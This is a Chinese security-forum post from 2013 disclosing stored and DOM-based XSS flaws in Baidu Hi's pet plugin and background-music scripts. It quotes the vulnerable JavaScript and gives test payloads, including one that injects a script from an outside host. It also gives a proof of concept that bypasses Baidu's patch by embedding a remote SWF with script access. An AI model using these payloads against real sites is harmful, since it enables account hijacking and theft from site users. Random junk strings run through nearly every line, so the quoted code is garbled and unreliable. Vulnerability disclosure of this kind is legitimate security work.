找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2495|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
; Y- J' y2 g' ~: G- o7 W. u4 s. N, D) G" K
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  # U7 O7 m9 e7 [; i, W# A0 o
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
7 Y4 n( I7 I2 A6 P0 G' d9 l. C/ a6 P& b6 X
, W& q3 f) K$ \& k将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  ) t, z# m. Z2 R/ L5 A  B6 D  {# l
其中BdUtil.insertWBR为  
9 [) Q- g$ ]5 ]function(text, step) {  
; k- F. e$ Q, A    var textarea = textAreaCache || getContainer();  
( b  N9 @' b  J, u4 V( J$ y    if (!textarea) {  
4 C1 u6 h) V5 y  b2 `+ ]        return text;  - x3 ]$ C5 E5 u4 t& H- C% u' ?
    }  
( ?. f/ S& z7 b6 ]! G3 J1 m; Z    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
2 q6 d/ Q' z. `3 R+ d4 ^% G    var string = textarea.value;    X6 I* j; H$ L9 H
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  , T, K9 z' i- t; k. f/ ]% U6 v$ `
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
: e$ E  Y+ O1 L% H: H    return result;  
) a7 }' i+ a( \* V" F- t7 D2 c}  
# P: w- h, _- l: o. R在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
) G, ^) m% H1 H# ^: f7 N4 o8 h测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
2 u; m% q6 w5 ~& h5 _5 S   
, k  h$ E9 N; N: ^  u) v二:creatbgmusic() Dom-Xss Bug  3 I: K6 B3 J! n$ G+ h5 @) l0 w
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  6 z& N" z# B# ?4 l0 n
+ g3 y- {7 z+ N6 @8 y
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  0 D% h3 j" G5 ^2 R  w0 F9 v% N* @
/ U% c- J* _. e- v4 a8 q& p4 Q
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  , E0 Y4 I% Z: _8 N7 J( M  Y
    //传入的murl赋值到bgmusic1和bgmusic2中  . U( X: v/ h0 n' Y8 _8 A0 Z: J' @
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1    ~5 `3 m5 D* r8 x) u5 p
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
2 F3 G( W* G& v0 D* v( x+ o2 q/ a    if (musicnum <= 1) {  
+ t/ B7 F* a* z" l' Y        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
; d7 G* R* b% c: a+ q    }  0 \% k3 h* x0 p$ \  j8 t
    bgmusic1 += "</OBJECT>";  
- H. n. q: G# n, A( J# L# Z/ C) n# v    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  * s3 C5 N* W7 Z
    if (musicnum <= 1) {  
- z; ?  p' X5 A& G        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
. {& a5 n7 o& {% ?- G+ R  f    }  0 T, O$ L9 o7 X+ E5 P4 G
    bgmusic2 += "> </EMBED>";    h; o" _9 F, U- T  x
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
" J& G6 }/ H9 A1 ~! Z8 X5 @8 u  B    var bgmus = detectWMP();  . H0 Y8 a& ?& L, K% L- e0 @4 K
    if (functype == "FckMusicHelper") {  
% y5 z6 q7 B+ M/ I% Z        if (bgmus.installed) {  ' |  p7 Q- ]: J6 R8 e
            if (bgmus.type == "IE") {  
1 ]- i* V8 [. m; f( C* L                return bgmusic1;  5 \- v% w1 B% ~8 D$ u' x' n
            } else if (bgmus.type == "NS") {  
. A5 d  ^. c1 U$ t4 m                return bgmusic2;  
- ^: ^! A) S1 u4 w5 x1 g            }  , [: Y( c5 |( m- y7 M0 r8 z
        } else {  
$ }( H7 _) o0 K5 _. X) u4 a/ Z1 T            return bgmusic3;  3 T# t3 J9 k0 b" d* r( [
        }  
3 z2 r% t, T' a7 n( }    } else {  1 w8 g/ X1 [4 j; x4 _
        if (bgmus.installed) {  
, ]: Y; T( t7 z8 B            //document.write 直接输出bgmusic变量 导致xss  + y4 i" J' g# [9 E4 E! ]; W1 F
            if (bgmus.type == "IE") {  
) z0 G9 n4 N* u/ A                document.write(bgmusic1);  & z& d* U; s0 u+ o
            } else if (bgmus.type == "NS") {  
$ C; r$ v8 {" r# v/ I( \6 [2 n! q& l                document.write(bgmusic2);  + W( H; S# h: p; t$ U
            }  / M* c6 M" y/ L  K+ s
        } else {  
1 t& ]& _+ M/ `4 K/ R. a            document.write(bgmusic3);  - b6 c$ o7 O4 q7 B; q9 }, k! e* T- Z
        }  
' A8 P3 w) r* y        return "";  * i* u, J7 k) G( P; b$ c
    }  
9 p. j0 ^- ~- x! k. W/ r: }}  9 u- L* X; }  i4 ?+ x
  b6 D; Y: B, p
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  7 q  ^* `) W  Q: {

4 v( s3 T* c$ A% ~function initBlogTextForFCK(){  
5 }- K0 h" F9 V//fck init music  , T8 F$ B+ l4 l/ U% G. F4 T" o% S! j
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  1 j$ F( W0 ^& l' D0 g& D3 w
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
& ]5 i- u' X) p- R1 `! ?/ ?var isAutoPlay=true;  
) r  w! o5 h$ L. c# S3 vfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
  o$ U( Y! C& h: |( L  var img=imgBox;  " Y! X7 F9 G8 g* J+ \3 T
  if(img.getAttribute(’rel’)){        . K- d% l- A" i6 n) {. a
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  & d9 u0 W+ b9 o6 J7 Y' B- |' k
   var musicDiv = document.createElement("SPAN");  2 B) ]0 `* L) x$ O
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  , F) M+ G+ y* A1 i
     
( J7 z. g- A& n4 d( O      ..........................  
/ m( @6 u7 o4 @' `     
* w$ T3 o' ^& N   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   9 d5 i/ M1 f. _4 ?
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
0 K2 }' P9 T" t; g  J$ @   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
$ Z/ j0 ~: z. W" E6 d) P* j' f   musicDiv.innerHTML=shtml;  % _  ~% Y/ `: n* p: `( J* q
   i--;n--;  
6 C2 g; Y0 d. |. C7 e: g$ b  }  * e+ L/ ]/ e0 C& ^8 |& U
}  * B) J* r$ G1 }
$ o" o4 w  X6 l/ r. q
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
( {$ I4 t! ^( N  o6 U3 f( W+ {8 a   
& O8 W8 w6 C1 n测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  2 U$ E8 c% q& C* V6 Z, b
# B2 R9 c$ u# C. A6 u" ]
等待官方补丁  
4 B) i/ @5 S8 }# n) x' x4 _& U( p
( ^4 L& r. Y  V% _( l- [, V- k  Z; Fupdate 2010年5月13日   + G3 M% M+ ~9 }# ]
3 q0 L2 C; B; C+ K
官方补丁:  
4 V- A* }2 j7 A+ r6 G* y5 C# _: H
( L3 h, m% q8 @var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  + T3 g: k% s' _4 I) @/ T! i! Y0 C
改为:  8 m+ M0 m# n6 h$ _
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
6 o3 S- c. J  g4 j& G7 Y, [! Z' V5 m4 t7 V! Q7 H7 r, }
update 2010年5月13日 21:50:37  
* T4 ^! U% G: f$ Z" ~! @0 c. a
, _; t( I9 }6 B: L* B( ]" v: N补丁存在漏洞 没有过滤" 可以继续跨:  
! r- I' b- H0 @- I1 x2 o# j, z- O# d2 q$ k
NEW POC:  
' |) i. t- }' C* e, V! J* z" N. ?7 B, I# ^" p
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 2 p$ N: K1 ~9 ?; Q4 z. {

2 i" h# M- H. x" s- b3 tallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
( g' d* e  i- ?
& p8 [* v, R+ w+ U0 C$ Q/ W- O: x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表